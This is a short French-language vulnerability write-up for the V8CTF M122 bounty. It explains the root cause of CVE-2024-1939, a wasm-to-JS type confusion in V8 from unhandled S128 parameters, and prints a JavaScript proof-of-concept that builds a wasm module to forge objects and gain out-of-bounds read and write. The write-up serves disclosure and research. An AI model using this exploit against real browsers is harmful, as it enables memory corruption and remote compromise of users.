
For V8CTF M122
Ceci est un court rapport pour la CVE-2024-1939, que j'ai utilisée pour réclamer V8CTF M122.
La cause racine de ce problème est le manque de prise en charge de kWasmS128 dans la conversion wasm-to-js. Plus précisément, les opérations wasmS128Const se produisant dans les piles de paramètres sont ignorées, ce qui entraîne une confusion de type lorsqu'un ExprRef est présent dans les paramètres.
En détails, cela fera qu'un entier/flottant sera directement converti en objet. Il est donc facile de construire un faux tableau avec une longueur arbitraire, ce qui nous donnera la capacité de lecture et d'écriture hors limites. Il reste un obstacle à contourner : le wasmS128Const ne prendra la place que des paramètres de type flottant stockés dans FPSlot et n'influencera pas les paramètres marqués stockés dans GPSlot. Les solutions existent dans StackSlot. Les registres FP/GP ont des limites de taille. Après cela, les paramètres seront stockés dans StackSlot dans l'ordre. Si nous remplissons les registres et plaçons un nombre flottant sur StackSlot, le paramètre marqué sera analysé depuis StackSlot et nous donnera notre objet falsifié.
L'exploit final n'inclura pas le constructeur de ce module wasm pour des raisons de simplicité et de rapidité, donc je le joins ici.
function get_corrupt(addr) {
var buf = new ArrayBuffer(8);
var u32 = new Uint32Array(buf);
var f64 = new Float64Array(buf);
var u8 = new Uint8Array(buf);
u32[0] = addr;
u32[1] = 0;
const builder = new WasmModuleBuilder();
const typeId = builder.addType(makeSig([kWasmS128, kWasmF64, kWasmF64, kWasmF64, kWasmF64, kWasmF64, kWasmF64, kWasmI64, kWasmI64, kWasmI64,kWasmI64,kWasmI64,kWasmI31Ref,kWasmFuncRef], []));
const importId = builder.addImport('mod', 'foo', typeId);
builder.addDeclarativeElementSegment([importId]);
builder.addFunction('main', kSig_v_v)
.addLocals(wasmRefType(kWasmI31Ref), 1)
.addBody([
...wasmS128Const(0xdeadbeef, 0xdeadbeef),
...wasmF64Const(1.1),
...wasmF64Const(1.1),
...wasmF64Const(1.1),
...wasmF64Const(1.1),
...wasmF64Const(1.1),
...wasmF64Const(f64[0]),
...wasmI64Const(0xbbbbbbbb),
...wasmI64Const(0xbbbbbbbb),
...wasmI64Const(0xbbbbbbbb),
...wasmI64Const(0xbbbbbbbb),
...wasmI64Const(0xbbbbbbbb),
...wasmI32Const(0xaaaaaaaa),
kGCPrefix, kExprRefI31, kExprLocalTee, 0,
kExprRefFunc, importId,
kExprRefFunc, importId,
kExprCallRef, typeId,
]).exportFunc();
const instance = builder.instantiate({ mod: { foo: ff } });
let f = instance.exports.main
f();
}
get_corrupt(addr);
Un worker est utilisé pour stabiliser la mémoire, car il a été observé que les adresses restent relativement stables dans les threads workers.
Pour les contournements du sandbox, voir V8-Sandbox-Escape-via-Regexp. L'exploit final utilise des chaînes ORW normales pour écrire le flag via stderr.